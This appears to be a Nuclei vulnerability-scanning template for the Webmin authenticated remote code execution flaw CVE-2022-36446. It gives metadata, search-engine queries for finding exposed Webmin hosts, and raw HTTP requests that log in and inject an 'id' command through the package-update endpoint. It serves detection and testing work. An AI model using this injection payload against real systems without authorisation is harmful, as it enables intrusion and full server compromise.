67 lines
2.5 KiB
YAML
67 lines
2.5 KiB
YAML
id: CVE-2022-36446
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info:
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name: Webmin <1.997 - Authenticated Remote Code Execution
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author: gy741
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severity: critical
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description: |
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Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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impact: |
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Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
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remediation: |
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Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
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reference:
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- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
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- https://www.exploit-db.com/exploits/50998
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- https://github.com/webmin/webmin/compare/1.996...1.997
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- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
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- http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-36446
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cwe-id: CWE-116
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epss-score: 0.97131
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epss-percentile: 0.99752
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cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: webmin
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product: webmin
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shodan-query:
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- title:"Webmin"
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- http.title:"webmin"
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fofa-query: title="webmin"
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google-query: intitle:"webmin"
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tags: cve,cve2022,packetstorm,webmin,rce,authenticated,edb
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http:
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- raw:
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- |
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POST /session_login.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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user={{username}}&pass={{password}}
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- |
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POST /package-updates/update.cgi HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1
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mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '{{randstr}}'
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- 'uid'
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- 'gid'
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- 'groups'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022004f825553e762903ffda85a0fd7eaf8063b579220a2f47231b175b4b419ba3c502210098c36e5257622a24fcb4fc6a89ff4d759ee4236a9207de35cc34ae31f0d9b471:922c64590222798bb761d5b6d8e72950 |